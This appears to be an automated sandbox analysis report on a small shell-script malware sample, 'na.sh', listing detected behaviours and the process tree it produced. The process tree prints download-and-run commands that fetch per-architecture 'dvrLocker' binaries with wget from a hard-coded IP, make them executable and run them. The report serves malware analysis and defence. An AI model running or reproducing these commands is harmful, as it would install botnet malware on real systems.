Overview

overview

7

Static

static

1

na.sh

ubuntu-18.04-amd64

7

na.sh

debian-9-armhf

7

na.sh

debian-9-mips

7

na.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    132s
  • max time network
    120s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    15/10/2024, 12:45

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    na.sh
  • Size 377B
  • Sample241015-py23javdpg
  • SHA256 e9237f2e230a2df58f151a4ba3086620c516c494d1ec89641be907150d5a619c
  • MD5 SHA1 SHA512
Score
7/10
credential_accessdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 6 IoCs
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads process memory 1 TTPs 4 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/na.sh
    /tmp/na.sh
    1⤵
    • Writes file to tmp directory
    PID:716
    • /bin/rm
      rm -rf dvrLocker
      2⤵
        PID:717
      • /usr/bin/wget
        wget http://185.157.247.125/c/empsl -O -
        2⤵
          PID:719
        • /bin/chmod
          chmod 777 dvrLocker
          2⤵
          • File and Directory Permissions Modification
          PID:728
        • /dvrLocker
          ./dvrLocker tplink.new
          2⤵
          • Deletes itself
          • Executes dropped EXE
          • Reads process memory
          • Changes its process name
          • Reads runtime system information
          PID:730
        • /usr/bin/wget
          wget http://185.157.247.125/c/emips -O -
          2⤵
          • System Network Configuration Discovery
          PID:732
        • /bin/chmod
          chmod 777 dvrLocker
          2⤵
          • File and Directory Permissions Modification
          PID:736
        • /dvrLocker
          ./dvrLocker tplink.new
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/sh
          /bin/sh ./dvrLocker tplink.new
          2⤵
            PID:739
          • /usr/bin/wget
            wget http://185.157.247.125/c/earm -O -
            2⤵
              PID:747
            • /bin/chmod
              chmod 777 dvrLocker
              2⤵
              • File and Directory Permissions Modification
              PID:748
            • /dvrLocker
              ./dvrLocker tplink.new
              2⤵
              • Executes dropped EXE
              PID:751
            • /bin/sh
              /bin/sh ./dvrLocker tplink.new
              2⤵
                PID:751
              • /usr/bin/wget
                wget http://185.157.247.125/c/earm5 -O -
                2⤵
                  PID:759
                • /bin/chmod
                  chmod 777 dvrLocker
                  2⤵
                  • File and Directory Permissions Modification
                  PID:760
                • /dvrLocker
                  ./dvrLocker tplink.new
                  2⤵
                  • Executes dropped EXE
                  PID:762
                • /bin/sh
                  /bin/sh ./dvrLocker tplink.new
                  2⤵
                    PID:762
                  • /usr/bin/wget
                    wget http://185.157.247.125/c/earm7 -O -
                    2⤵
                      PID:766
                    • /bin/chmod
                      chmod 777 dvrLocker
                      2⤵
                      • File and Directory Permissions Modification
                      PID:767
                    • /dvrLocker
                      ./dvrLocker tplink.new
                      2⤵
                      • Executes dropped EXE
                      PID:768
                    • /bin/sh
                      /bin/sh ./dvrLocker tplink.new
                      2⤵
                        PID:768
                      • /usr/bin/wget
                        wget http://185.157.247.125/c/ex86 -O -
                        2⤵
                          PID:771
                        • /bin/chmod
                          chmod 777 dvrLocker
                          2⤵
                          • File and Directory Permissions Modification
                          PID:773
                        • /dvrLocker
                          ./dvrLocker tplink.new
                          2⤵
                          • Executes dropped EXE
                          PID:774
                        • /bin/sh
                          /bin/sh ./dvrLocker tplink.new
                          2⤵
                            PID:774

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              dvrLocker
                              • Path /dvrLocker
                              • Size 41KB
                              • SHA256 8c825ecd4fff08b44d8334e022dc0d6eedbe9a1b61469e523025d7968be2e84d
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download